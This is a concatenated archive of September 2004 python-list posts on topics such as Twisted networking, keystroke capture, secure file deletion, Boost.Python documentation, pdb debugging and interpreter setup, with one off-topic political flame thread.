Date: 18 Sep 2004 14:51:18 -0700
Subject: Using Twisted Perspective Broker with Flash ( with PB as an XML
	Socker Server )
Message-ID: <c718a6cf.0409181351.348ccf@posting.google.com>

it looks like this is completely possible, but I just can't find
enough examples to put the pieces together.;

there is a jellyToXML that should serialize objects to regular XML it
looks like, anyone have any thoughts on where to start, I would really
hate to recreate all the PB functionality if I don't have to.


From daniel at syrinx.net  Wed Sep  8 12:46:57 2004
From: daniel at syrinx.net (Daniel Ellison)
Date: Wed, 08 Sep 2004 12:46:57 -0400
Subject: Question: tools for business apps development
In-Reply-To: <mailman.3036.1094653937.5135.python-list@python.org>
References: <mailman.2847.1094238878.5135.python-list@python.org>	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>	<864d370904090606465938fea5@mail.gmail.com>	<mailman.2980.1094568177.5135.python-list@python.org>	<2q5vvrFrq42gU2@uni-berlin.de>
	<mailman.3036.1094653937.5135.python-list@python.org>
Message-ID: <2q8r7kFrjp1cU1@uni-berlin.de>

Ksenia Marasanova wrote:
> 
> Good to hear that :)
> I was thinking about that 'very smart client'... actually, I want the 
> Flash client to be 'as dumb as possible' :) In the terms of 
> Model-View-Controller, wouldn't it be even better to have only 'View' in 
> Flash? The 'Controller' can then be on the server, in Python, 
> comunicating with Flash client in...XUL? ;-) It will be basically the 
> same as generating HTML for the browser... but with richer widgets.
> 
> Googled from curiosity:
> http://zulu.netspedition.com/zulu/main/overview.shtml
> 
> Hmm...
> 
> Ksenia.
> 

Yes, that would be best. All business logic would be on the server, and 
anything "visual" would be handled by Flash, which would make XML-RPC 
method invocations to update on-screen data according to user actions. 
This should be pretty easy if one follows MVC properly. There are plenty 
of free (and plenty of inexpensive commercial) Flash widget sets 
available to make the UI creation easier.

The latest incarnation of Flash also supports SOAP, if that's your bent. 
And I mean bent! :)

Dan


From elainejackson7355 at home.com  Sun Sep 12 03:59:13 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Sun, 12 Sep 2004 07:59:13 GMT
Subject: 'telegraphy' as a means of data entry
References: <QOK0d.394968$gE.276141@pd7tw3no>
	<8YGdnbbBS6xILt7cRVn-iA@powergate.ca>
Message-ID: <llT0d.382584$M95.334812@pd7tw1no>


"Peter Hansen" <peter at engcorp.com> wrote in message
news:8YGdnbbBS6xILt7cRVn-iA at powergate.ca...
| Elaine Jackson wrote:
|
| > I need to record the respective times of the events in a sequence of
| > presses/releases of a particular key on the computer keyboard. The key in
| > question should also make a sound when depressed (perhaps a forlorn sigh -
tee
| > hee). On the face of it, it seems like it should be fairly straightforward
to
| > achieve this with a suitable combination of ingredients from Tkinter, time
and
| > winsound.
|
| Does this have to work regardless of what else is going on on
| the computer, or is it okay if it works only when the window
| for this particular application is active?  (In other words,
| it's easy to do if the keypresses go only to this program,
| but if you want to capture *all* keypresses at all times,
| you can't do it, AFAIK, using just a GUI toolkit like wxPython
| or Tkinter... you have to use an OS hook of some kind.)
|
| -Peter

Just when the window is active.




From aleaxit at yahoo.com  Wed Sep  1 07:26:23 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 13:26:23 +0200
Subject: Beginners question.
References: <ch2c6b$5ap$1@newsg1.svr.pol.co.uk>
Message-ID: <1gjfqzc.1fl6r581n3g79zN%aleaxit@yahoo.com>

Player <asif at go-away-spammer.com> wrote:
  ...
>     if item == type(list):

It's very unlikely that the item will equal the type of list (which is
the builtin metaclass 'type' itself).  You presumably mean:

    if isinstance(item, list):


Alex


From http  Tue Sep  7 03:18:48 2004
From: http (Paul Rubin)
Date: 07 Sep 2004 00:18:48 -0700
Subject: Secure delete with python
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
	<chhoae$5pp$1@online.de> <chhoij$62d$1@online.de>
	<du74qmb9mzs.fsf@amadeus.cc.tut.fi>
	<7xd60zf339.fsf@ruckus.brouhaha.com>
	<a8dfce8c.0409062245.70f5dcf@posting.google.com>
Message-ID: <7xeklea6nb.fsf@ruckus.brouhaha.com>

matt.torment at gmail.com (Matthew K Jensen) writes:
> I had this idea once, when I assumed that the OS wrote to the first
> blocks nearest to the beginning of the disk, to where I just simply
> write a whole bunch of crap files to fill in blocks that could be the
> place where recently deleted files used to be. Then defrag the
> filesystem. Then delete the crap files.
> 
> I'm just thinking aloud if any of this helps.

If you're 1) in control of what the OS does; and 2) not concerned
about securing the data against serious recovery attempts, then ok,
there's all kinds of stuff you can do that gives reasonable protection.

In practice, 1) you're usually not in control of the OS and so you
can't assume what order blocks are written in; and 2) if you're
writing a security application for use by other people, you don't
necessarily know what kinds of opponents your users will have or what
will happen if their data escapes, so you have to guard against
powerful data recovery techniques (including as-yet-uninvented ones)
as well as casual ones.

I think you're best off assuming that short of melting the platters,
there's no way to ever erase data from a hard drive, i.e. that a
sufficiently powerful attacker can recover every state that the drive
has ever been in.  The solution is to write only encrypted data to the
drive, and don't store the key on the drive.  


From krw at att.bizzzz  Sat Sep 11 16:45:32 2004
From: krw at att.bizzzz (keith)
Date: Sat, 11 Sep 2004 16:45:32 -0400
Subject: Xah Lee's Unixism
References: <41431d5f$0$6923$61fed72c@news.rcn.com>
	<10k68j0lqorgqdf@corp.supernews.com>
Message-ID: <pan.2004.09.11.20.45.29.756681@att.bizzzz>

On Sat, 11 Sep 2004 16:05:52 +0000, SM Ryan wrote:

> # But France, Germany and Russia would have nothing to do with that.
> # It would stop their cash flows with Saddam if we had tried to build
> 
> France said all along it would agree to military action in Iraq
> _if_ NBC weapons or development where discoverrd.
> 
> So where are these weapons?

We don't know.  We *do* know they had them.  We don't know what happened
to them (though some have shown up).  Indeed I hope they did disappear
into a black hole somewhere (never to be seen again).

> France and Germany are in Afghanistan fighting and dying on our behalf,
> along with other NATO armies. 

Our?  Al-Quida is only a US issue?  France and Germany have nothing to
fear from terrorism?

> Iraq had nothing to do with terrorism

Bullshit.  It may have had nothing to do with 9/11, but only the infirm
would believe Iraq had nothing to do with terrorism.

> except for the echoing looniness inside Dick Cheney's empty skull. 

You're projecting again.

> The
> real war on terrorism is in Afghanistan which the USA abandonned in
> search of more profitable plunder. 

Oh, please!  No one abandoned Afghanistan.  Just because it's not first
up on Dan Blather, doesn't mean it fell off teh radar screen.

> France and Germany and other NATO
> armies are fighting the war on terrorism, and they were doing so long
> before the USA got involved. It's the USA that abandonned the war on
> terrorism in favour of trying to break OPEC and control the flow of oil
> from Arab states, not France and Germany.

...any more fairy tales?  France and Germany were the ones profiting,
under the table, from trade with Iraq under the Oil-for-Food program. 
They didn't want to kill the goose...

> # the cease fire.  With nobody watching the bad boy, he could # do
> anything he damned well wanted to, including allow transport # across
> his country from east to west.
> 
> The borders of Iraq were far better regulated under Saddam than today.

Is that why there were so many terrorists living in Iraq?  I thought
Saddam had nothing to do with terrorism?  ...can't have it both ways.

> The chaos that USA inflicted openned the borders. 

Perhaps.  Iran and Syria do not want Iraq to be free.  Much of the funding
for the "insurgents" is from Iran and Syria.  

> Remember Bunker Hill? Remember Valley Forge? Remember Yorktown? 

How about Antietam, Harpers Ferry, and Gettysburgh?  ...or maybe Pearl
Harbor, Coral Sea, Midway, Guada Canal?  See I can name irrelevant battles
too. 

> Do you think only Americans are capable of taking up arms against a
> foreign occupier and fighting for their independence? We have become the
> redcoats and Hessians. Makes you kinda proud, doesn't it?

The US seems to be the only one with a real military left.  The French?
Italy?  Canada?

-- 
  Keith


From tjreedy at udel.edu  Fri Sep 24 14:51:22 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Sep 2004 14:51:22 -0400
Subject: Module Pygame - "FadeOut" text
References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135>
Message-ID: <cj1qbe$qlv$1@sea.gmane.org>


"Askari" <askari at addressNonValide.com> wrote in message 
news:Xns956E4F8F8C192askariaddressNonVali at 207.35.177.135...
> (Help for Pygame module)

There is a separate mailing list for Pygame, a third-party package.
It can be accessed as a newsgroup via news.gmane.org
as gmane.comp.python.pygame.

Terry J. Reedy





From ThisIsNotMyReal at ddress.com  Wed Sep 22 10:38:54 2004
From: ThisIsNotMyReal at ddress.com (Brian)
Date: Wed, 22 Sep 2004 14:38:54 GMT
Subject: Check for keystroke
References: <Xns956C6558D1D9Anonenonecom@24.93.43.121>
Message-ID: <Xns956C6582A3345nonenonecom@24.93.43.119>

Also, this is being done in Linux and does NOT need to be multi-OS 
compatible.


Brian <ThisIsNotMyReal at ddress.com> wrote in
news:Xns956C6558D1D9Anonenonecom at 24.93.43.121: 

> Inside a loop, I need to passively check to see if a key is pressed or
> not without pausing like raw_input does.  Some pseudocode:
> 
> While true:
>          If a key is pressed
>                   which key is pressed
>          
>          do other stuff inside loop
> 
> 
> Google groups turned up this thread:
> 
> http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th=
> 3221aa1ee6ef2ec2&seekm=2259b0e2.0307310800.3310ec83%
> 40posting.google.com&frame=off
> 
> TinyURL: http://tinyurl.com/4chqh
> 
> 
> But neither the pygame or curses solution worked.  Any new thoughts on
> this?
> 



From frithiof.jensen at die_spammer_die.ericsson.com  Wed Sep 15 08:37:50 2004
From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen)
Date: Wed, 15 Sep 2004 14:37:50 +0200
Subject: optimizing memory utilization
References: <pan.2004.09.14.04.38.02.647096@ymous.com>
	<ci6f73$921$1@newstree.wise.edt.ericsson.se>
	<1db49385.0409141355.5d204a03@posting.google.com>
Message-ID: <ci9ct3$nuc$1@newstree.wise.edt.ericsson.se>


"Wes Crucius" <wcrucius at sandc.com> wrote in message
news:1db49385.0409141355.5d204a03 at posting.google.com...

> Thanks for the specific suggestion, but it's an approach I'd hoped to
> avoid.  I'd rather get 2Gig of RAM if I was confident I could make it
> work that way...  The problem with a file-based database (versus an
> in-memory data-structure-based database as I was meaning) is
> performance.

I am not convinced ;-)

The people designing databases have run into exactly that kind of problem
and they have spent a long time studying algorithms, eficcient
datastructures and writing confererence papers on how to cleverly map and
search through said data structures that may not fit in memory - to the
point where I think one will have a hard time doing it better by hand.

PySQLite will try to keep everything in memory, so if you have enough, it
will only hit the disk on opening the database and on comitting a change.
Commit can take a long time though.




From cjblaine at gmail.com  Fri Sep 17 14:46:44 2004
From: cjblaine at gmail.com (Jeff Blaine)
Date: Fri, 17 Sep 2004 18:46:44 GMT
Subject: Changes in this release docs
Message-ID: <kiG2d.65793$D%.56019@attbi_s51>

Something that has always bothered me about the 'Changes in this
release' docs for new features (generators for instance):  There's
usually no explanation for why the feature was added.  Sure, it's
nice to leave the feature open-ended to not pigeon hole its usage,
but I think (and maybe this is just me) people are likely to make
better use of the language's new features if they "get it" more
directly through an explanation of the hole that was filled in
the language.  That is, someone requested it and had a reason to
want it.  What was that reason, in real-world terms?

I don't think it's reasonable to expect language _users_ to keep
up with PEPs, etc.

Just a humble request for consideration.


From grante at visi.com  Wed Sep 29 18:43:14 2004
From: grante at visi.com (Grant Edwards)
Date: 29 Sep 2004 22:43:14 GMT
Subject: multiple instance on Unix
References: <mailman.4088.1096479490.5135.python-list@python.org>
	<slrnclmbvf.s1l.jgrahn-nntq@frailea.sa.invalid>
Message-ID: <415b3a82$0$879$a1866201@newsreader.visi.com>

On 2004-09-29, Jorgen Grahn <jgrahn-nntq at algonet.se> wrote:

> Unix programs normally don't attempt to "protect" themselves
> in this way.

Some do, some don't.  Many system daemons want to make sure
that only a single instance is running.  That's one of the
functions of all the *.pid files in /var/run.  It's less common
that user programs try to enforce such a restriction, but it
happens.  It's usually done by creating a lock file in the
user's home directory if it's a per-user restriction.

> I can /definitely/ see situations where two programs modifying
> the same set of files, resulting in binary garbage, but if
> these are different programs your approach doesn't work.
>
> Best is a design which doesn't need locking. Second best is
> locking which is tied to the resources (files) which need to
> be protected.

Agreed, but creating a lockfile to make sure only a single
instance of the program is running is the standard third
choice.

> Leaving it up to the user to be careful is another popular
> choice ;-)

Yup.

-- 
Grant Edwards                   grante             Yow!  PARDON me, am I
                                  at               speaking ENGLISH?
                               visi.com            


From jyx at telia.com  Wed Sep 15 09:18:11 2004
From: jyx at telia.com (Joakim Bech)
Date: Wed, 15 Sep 2004 13:18:11 GMT
Subject: Twisted and connected UDP example
Message-ID: <niX1d.103392$dP1.371893@newsc.telia.net>

At this page
-->  http://twistedmatrix.com/documents/current/howto/udp
is an example that shows how connected UDP is done
with Twisted. I can't get it to work.
When I run it, it says:

...
     self.startProtocol()
   File "./client2.py", line 10, in startProtocol
     d.addCallback(self._cbConnected)
AttributeError: 'NoneType' object has no attribute 'addCallback'
...

I.e it looks like the
"d = self.transport.connect("ip_to_listening_server", listen_port_nbr)"
doesn't return anything?

As server at "the other side" I've used the first example
and I have also tried using netcat as an listening UDP-server.
I'm sure that the IP-adress and port is correct in my code,
so it can't be that.

(Btw, the self.transport.write .. line is not correct indented
I suppose?)

Anyone that can help me with this?


From jeff at ccvcorp.com  Wed Sep  1 14:29:53 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 01 Sep 2004 11:29:53 -0700
Subject: Python Usage Statistics
In-Reply-To: <3064b51d.0409010904.5868f141@posting.google.com>
References: <bba535b4.0408310322.248af2b0@posting.google.com>
	<3064b51d.0409010904.5868f141@posting.google.com>
Message-ID: <10jc56jrm60tkdf@corp.supernews.com>

beliavsky at aol.com wrote:

>anandpillai at letterboxes.org (Anand Pillai) wrote in message news:<bba535b4.0408310322.248af2b0 at posting.google.com>...
>  
>
>>... I thought it would be a good idea to present a number, a
>>round-about figure on the approximate *actual* usage of Python out
>>there in number of developers and/or installations.
>>    
>>
>
>See SkillMarket at http://mshiltonj.com/sm/categories/languages/ .
>Polling jobs listed at dice.com , the # of job openings by language on
>9/1/2004 were (in descending order)
>  
>

But note that job openings don't necessarily accurately represent 
language *usage*, they only represent *unsatisfied demand* for 
competency in that language.  One could argue, with some justification, 
that there's few job openings requesting programmers familiar with 
Python because a good programmer can become productive in Python so 
quickly -- why take months to hire a Python guy when an existing 
employee can *become* a Python guy in a couple weeks?  It also doesn't 
reflect the usage of Python for small projects, incidental scripting 
tasks, etc., where there isn't a need for a full-time employee to be 
working on that particular project.

Jeff Shannon
Technician/Programmer
Credit International





From mwh at python.net  Mon Sep 13 12:40:23 2004
From: mwh at python.net (Michael Hudson)
Date: Mon, 13 Sep 2004 16:40:23 GMT
Subject: help: up/down arrows in 2.3.4 interactiv
References: <ci4i04$1h1v$1@ulysses.noc.ntua.gr>
Message-ID: <m3ekl69l6x.fsf@pc150.maths.bris.ac.uk>

Jerald <jfj at freemail.gr> writes:

> I've just installed 2.3.4 from the source on a linux box.
> In the interactive mode, up/down arrows do not work.
> When I press 'up' python prints '^[[A' and down gives '^[[B'
> What is wrong?

Try installing readline-dev, or whatever package you need to convince
your distro to install readline's headers.

Cheers,
mwh

-- 
  <Nafai> w00t w00t w00t w00t!
  <Nafai> I don't understand all of the code, but it works!
  <Nafai> I guess I should check it in.
                                                -- from Twisted.Quotes


From exarkun at divmod.com  Wed Sep 15 23:59:54 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Thu, 16 Sep 2004 03:59:54 GMT
Subject: socket function that loops AND returns something
In-Reply-To: <ciatjj$olo$1@solaris.cc.vt.edu>
Message-ID: <20040916035954.29723.549451364.divmod.quotient.1649@ohm>

On Wed, 15 Sep 2004 22:26:02 -0400, Brad Tilley <bradtilley at usa.net> wrote:
>I have a function that starts a socket server looping continuously 
> listening for connections. It works. Clients can connect to it and send 
> data.
> 
> The problem is this: I want to get the data that the clients send out of 
> the loop but at the same time keep the loop going so it can continue 
> listening for connections. If I return, I exit the function and the loop 
> stops. How might I handle this?

  Threads and processes have been suggested by others.  Here's another way to do it:

    from twisted.internet import reactor, protocol

    class PrinterProtocol(protocol.Protocol):
        def connectionMade(self):
            addr = self.transport.getHost()
            print ("Client", addr.host, 
                   "connected and was directed to port", addr.port)

        def dataReceived(self, data):
            print "Client sent this message:", data
            self.transport.loseConnection()

    def listen(ip_param, port_param):
        f = protocol.ServerFactory()
        f.protocol = PrinterProtocol
        reactor.listenTCP(port_param, f, interface=ip_param)
        print "Waiting for new connections..."
        reactor.run()

  For more information, check out http://www.twistedmatrix.com/

  Jp


From chris.cavalaria at free.fr  Sun Sep 26 17:45:18 2004
From: chris.cavalaria at free.fr (Christophe Cavalaria)
Date: Sun, 26 Sep 2004 23:45:18 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
	<18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
	<864d370904092515311da67bb6@mail.gmail.com>
	<mailman.3917.1096163923.5135.python-list@python.org>
	<Xns956FC698DBC7DOKB@130.133.1.4>
	<86F69852-0FB7-11D9-B926-003065B11E84@leafe.com>
	<mailman.3936.1096210184.5135.python-list@python.org>
Message-ID: <4157386f$0$31740$636a15ce@news.free.fr>

Carlos Ribeiro wrote:

> On Sun, 26 Sep 2004 08:28:10 -0400, Ed Leafe <ed at leafe.com> wrote:
>>         Forgive me if this is an oversimplification, but it looks like
>>         what
>> you want is an XML-based definition of your UI objects, and are trying
>> to approximate that with Python syntax. What you've written looks an
>> awful lot like an XRC file structure, albeit without the closing tags.
> 
> Here we go -- Sunday morning, coding and discussing...
> 
> I'm avoiding a data-driven approach (XML) because I think that keeping
> all declarations in Python will make my code easy to work with in the
> long run. I've tried some XML based tools, but found the process to be
> too convoluted -- it needs another set of tools and skills, and it
> means that I need to be able to read yet another completely different
> syntax. Also, I'm trying to avoid visual GUI designers at this point

Did you check that new project :
http://techgame.net/projects/Framework/wiki/

> -- I realized that I simply lose to much time futzing with pixel
> alignment details, and that I'm better investing my time doing other
> stuff.

That's why I like QtDesigner. The think lets you place as you want the
controls on the form, but you are encouraged to always group the controls
and to never relly on pixel placement. And it is really easy to use once
you know how.


From adalke at mindspring.com  Mon Sep 20 12:31:23 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 20 Sep 2004 16:31:23 GMT
Subject: Determining if a client PC has an Internet connection
In-Reply-To: <mailman.3571.1095690440.5135.python-list@python.org>
References: <1095578301.31957.263.camel@devilbox.devilnet.internal>
	<mailman.3571.1095690440.5135.python-list@python.org>
Message-ID: <vBD3d.5552$gG4.3070@newsread1.news.pas.earthlink.net>

Dave Brueck wrote:
> 1) If the user has a modem and is connected via a modem, you know for 
> sure that the user is online (use ctypes to call 
> rasapi32.RasEnumEntriesA to see if the user has a modem, and 
> rasapi32.RasEnumConnectionsA to see if the user is connected via a modem)

Or is connected to a private network that isn't
connected to the Internet.

Though these days that's rare.   I don't think I've been
in that situation in over 12 years -- the last time
I connected to a dial-up BBS.

				Andrew
				dalke at dalkescientific.com


From pekka.niiranen at wlanmail.com  Tue Sep 21 14:06:27 2004
From: pekka.niiranen at wlanmail.com (Pekka Niiranen)
Date: Tue, 21 Sep 2004 21:06:27 +0300
Subject: Help needed: Unicode and file format problem
Message-ID: <41506e20$0$19027$39db0f71@news.song.fi>

Hi gurus,

I have stored Excel97 -table in ascii csv -file.
The table contains pairs of values: string and its replacement.
I parse the csv-file and run "search and replace" to other
files with "sed" and "perl" -scripts in Cygwin environment.
Sometimes the replacements are nonascii strings
(Chinese characters for example). This does not matter
because I am treating all files as list of bytes of which
some are replaced.

Now, however, the file to which I run search and replace has to
be in UTF-8 format. How can I run Unicode regural expressions in Python 
when csv -file contains ascii mixed with some nonascii characters?
How can I work out corresponding Unicode character out of bare bytes?

In other words I have to open target file like this:
fileObj = codecs.open( "File_to_be_modified", "w", "utf-8" )
and then run Unicode regular expression to it, where read
replacements are bytes that must be written out as UTF-8 strings.

I could try to read directly from Excel to Python thru COM interface
or try to created Python COM service that is called from the Excel, but
I would hate to do that. I could also try switch to Excel2000 which
supports UTF-8 as saving format, but there are other
issues (VBA code) involved.

-pekka-



From carribeiro at gmail.com  Fri Sep  3 18:34:31 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 3 Sep 2004 19:34:31 -0300
Subject: age of Python programmers
In-Reply-To: <1E007CB6-FDF4-11D8-8653-000A957911BC@ksenia.nl>
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<mailman.1900.1092860258.5135.python-list@python.org>
	<Xns954A5141FF84JanC@213.118.38.197>
	<d8778a53.0408311322.9ad0233@posting.google.com>
	<6amZc.17353$ni.8118@okepread01>
	<822221bb04090109167035d328@mail.gmail.com>
	<mailman.2753.1094102613.5135.python-list@python.org>
	<4edc17eb.0409022018.27a96821@posting.google.com>
	<864d3709040903055719060a0b@mail.gmail.com>
	<1E007CB6-FDF4-11D8-8653-000A957911BC@ksenia.nl>
Message-ID: <864d3709040903153457217ce0@mail.gmail.com>

On Sat, 4 Sep 2004 00:56:32 +0300, Ksenia Marasanova <ksenia at ksenia.nl> wrote:
> The most exciting thing I did then was drawing on the mainframe punch
> cards at the age of 8. The punch cards were brought from the work by my
> aunt special for my drawing needs, and the sport was to find a card
> with least holes in it. ;P

At some point I got a huge pile of unused punch cards that I used for
draft and assorted notes (I think that the machines were just
scrapped). The paper used for the cards was a special quality (due to
the mechanical requirements of the machines); they were 'soft' but
strong, and quite good to write over. But I could never find more
later...

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From ndbecker2 at verizon.net  Thu Sep 30 13:15:12 2004
From: ndbecker2 at verizon.net (Neal D. Becker)
Date: Thu, 30 Sep 2004 13:15:12 -0400
Subject: Help with boost::python and documentation tools (e.g. pydoc)
Message-ID: <cjhev1$bdt$1@sea.gmane.org>

I'm using boost::python to transform various C++ classes and functions to
python.  It is all working quite well, but now I'm having trouble with
documentation tools.

I hope someone can tell me if the problem is with the doc tools, such as
pydoc, or with boost::python implementation.

If I create a free function, this is what happens:
PyTypeObject function_type = {
    PyObject_HEAD_INIT(0)
    0,
    "Boost.Python.function",
    sizeof(function),
    0,
    (destructor)function_dealloc,               /* tp_dealloc */
    0,                                  /* tp_print */
    0,                                  /* tp_getattr */
    0,                                  /* tp_setattr */
    0,                                  /* tp_compare */
    0, //(reprfunc)func_repr,                   /* tp_repr */
    0,                                  /* tp_as_number */
    0,                                  /* tp_as_sequence */
    0,                                  /* tp_as_mapping */
    0,                                  /* tp_hash */
    function_call,                              /* tp_call */
    0,                                  /* tp_str */
    0, // PyObject_GenericGetAttr,            /* tp_getattro */
    0, // PyObject_GenericSetAttr,            /* tp_setattro */
    0,                                  /* tp_as_buffer */
    Py_TPFLAGS_DEFAULT /* | Py_TPFLAGS_HAVE_GC */,/* tp_flags */
    0,                                  /* tp_doc */
    0, // (traverseproc)func_traverse,          /* tp_traverse */
    0,                                  /* tp_clear */
    0,                                  /* tp_richcompare */
    0, //offsetof(PyFunctionObject, func_weakreflist), /* tp_weaklistoffset
*/
    0,                                  /* tp_iter */
    0,                                  /* tp_iternext */
    0,                                  /* tp_methods */
    0, // func_memberlist,              /* tp_members */
    function_getsetlist,                /* tp_getset */
    0,                                  /* tp_base */
    0,                                  /* tp_dict */
    function_descr_get,                 /* tp_descr_get */
    0,                                  /* tp_descr_set */
    0, //offsetof(PyFunctionObject, func_dict),      /* tp_dictoffset */
    0,                                      /* tp_init */
    0,                                      /* tp_alloc */
    0,
    0                                       /* tp_new */
};

Notice the getset member is being set, so I guess this is using the new
descriptor protocol.

As an example:

dir (block_interleaver_wrap)
['__doc__', '__file__', '__name__', 'block_interleaver', 'deinterleave',
'deinterleave_c', 'interleave', 'interleave_c']

the latter 4 are free functions.  If I use pydoc, these functions don't
appear.

inspect.ismethoddescriptor(block_interleaver_wrap.interleave)
True

inspect.getdoc (block_interleaver_wrap.interleave)
'interleave(inter,x)\nInterleave input I{x} using interleaver I{inter}@param
inter: stuff'

This is the documentation I wanted.

Anyone know what needs to happen so that tools like pydoc, and especially
epydoc, will correctly find the documentation?




From jmfbahciv at aol.com  Wed Sep  1 07:56:58 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Wed, 01 Sep 04 11:56:58 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
Message-ID: <4135cbcd$0$19726$61fed72c@news.rcn.com>

In article <41337FC9.8070902 at hotmail.com>,
   Antony Sequeira <usemyfullname at hotmail.com> wrote:
>Andre Majorel wrote:
>> On 2004-08-28, Rob Warnock <rpw3 at rpw3.org> wrote:
>> 
>>>Pascal Bourguignon  <spam at mouse-potato.com> wrote:
>>>+---------------
>>>| $ telnet xahlee.org 80;
>>>| Trying 208.186.130.4...
>>>| Connected to xahlee.org.
>>>| Escape character is '^]'.
>>>| GET / HTTP/1.1
>>>| 
>>>| HTTP/1.1 400 Bad Request
>>>| Date: Fri, 27 Aug 2004 01:35:52 GMT
>>>| Server: Apache/2.0.50 (Fedora)
>>>|         ^^^^^^^^^^^^^^^^^^^^^^
>>>+---------------
>>>
>>>So are you complaining about the fact that his hosting provider
>>>preloaded RedHat Fedora with Apache 2.0 for him?
>> 
>> 
>> There is no shortage of Windows-based hosting companies, so why
>> didn't he go there ? Whatever your opinions, it's best to put
>> your money where your mouth is if you expect to be taken
>> seriously.
>> 
>Windows (MS) is not 'Unixism'?

Good bitgod, no.  AAMOF, Windows would be much improved if
it cut off its balls.

/BAH

Subtract a hundred and four for e-mail.


From aleaxit at yahoo.com  Tue Sep 21 12:56:43 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 21 Sep 2004 18:56:43 +0200
Subject: Python for Perl programmers?
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
Message-ID: <1gkh87v.61veo51w0slg8N%aleaxit@yahoo.com>

Markus Dehmann <markus.cl at gmx.de> wrote:
   ...
> Is there a tutorial that takes all the standard perl things and then
> explains how to do them in python? That would be perfect. Open a file,

It's not QUITE what you're asking for, but: try diveintopython.org and I
think you'll like it (perhaps you'll like it enougn to buy the paper
version).  Mark Pilgrim is targeting exactly the kind of very
experienced programmer you seem to be, and his text moves fast...!


Alex


From richie at entrian.com  Fri Sep 17 09:43:55 2004
From: richie at entrian.com (Richie Hindle)
Date: Fri, 17 Sep 2004 14:43:55 +0100
Subject: changing local variable values in python debugger
In-Reply-To: <414AE09D.3050607@bellsouth.net>
References: <cic219$l1s@odak26.prod.google.com>
	<414AE09D.3050607@bellsouth.net>
Message-ID: <fvplk0lecej975q6q1fl76b8mpmmf8us00@4ax.com>


[Jeremy]
> Is there any way to modify a local variable in the Python debugger (pdb)?
> [...]
> (Pdb) f
> 'a'
> (Pdb) f = 'd'
> (Pdb) f
> 'a'

In fact what you're doing there *is* working - look:

> c:\src\tests\jeremy-pdb.py(9)main()
-> if f == 'd':
(Pdb) f
'b'
(Pdb) f = 'd'
(Pdb) s
> c:\src\tests\jeremy-pdb.py(10)main()
-> b(f)

Setting the value of a local variable works, but *examining* the value resets
it to whatever it was when you arrived at the current pdb prompt.  It's a bug,
either in pdb or in Python's core debugger support depending on how you look
at it.  I've been meaning to try to fix this for ages, but haven't found the
time to figure out how to do so.

-- 
Richie Hindle
richie at entrian.com



From svbrk at start.no  Tue Sep 28 17:52:08 2004
From: svbrk at start.no (Svein Brekke)
Date: 28 Sep 2004 14:52:08 -0700
Subject: photoshop plugin from Python script
Message-ID: <21298535.0409281352.2dbdf5f4@posting.google.com>

Hello.

I am working on a python app for image transfer and basic image
manipulation (automating the workflow with my digital cameras Nikon
D100 and Coolpix 5000).

I would like to use Adobe's free CameraRaw photo shop plugin to
convert .NEF files to .jpeg. Does anybody know if this is possible,
and how should i proceed to achieve this?

regards,
Svein Brekke


From mattjensen at timetospare.net  Wed Sep  1 23:56:29 2004
From: mattjensen at timetospare.net (Matthew K Jensen)
Date: 1 Sep 2004 20:56:29 -0700
Subject: Help req: py2exe's compiled executables only working with XP
References: <173c23bb.0408282105.4cd76e07@posting.google.com>
	<153fa67.0408290602.10b80c47@posting.google.com>
Message-ID: <173c23bb.0409011956.56aa222d@posting.google.com>

kylotan at hotmail.com (Kylotan) wrote in message news:<153fa67.0408290602.10b80c47 at posting.google.com>...
> mattjensen at timetospare.net (Matthew K Jensen) wrote in message news:<173c23bb.0408282105.4cd76e07 at posting.google.com>...
> > I am a young programmer with his big break on the line. For some
> > reason, small apps that I've written and compiled on an XP machine
> > won't work on anything but XP machines.
> 
> A better definition of what is going wrong than "won't work" is
> needed. Do the apps not run at all? Do they crash? Can you view the
> standard output/error streams to see if something is being written
> there?
> 
> Bear in mind that py2exe doesn't produce compiled executables like
> those a C++ compiler might. It's more of an executable archive and all
> the files are right there. You can even open it up in an archiving
> program to check that all the relevant dlls and so on are added.
> Running a dependency-checker tool on some of those might reveal that
> you're relying on XP-only features, although that's usually evident
> from the Python code.

 I guess I should describe the problem more. When I go to execute,
nothing visibly happens. And no, I am not using XP-only features. Is
this just a case that I should be making exe's with a previous OS and
having that run on things that came after the said OS?


From peter at engcorp.com  Tue Sep 28 10:06:13 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Sep 2004 10:06:13 -0400
Subject: floating point glitch
In-Reply-To: <cjbqfv$kdm$1@pegasus.csx.cam.ac.uk>
References: <415295E6.9040602@ericsson.com>
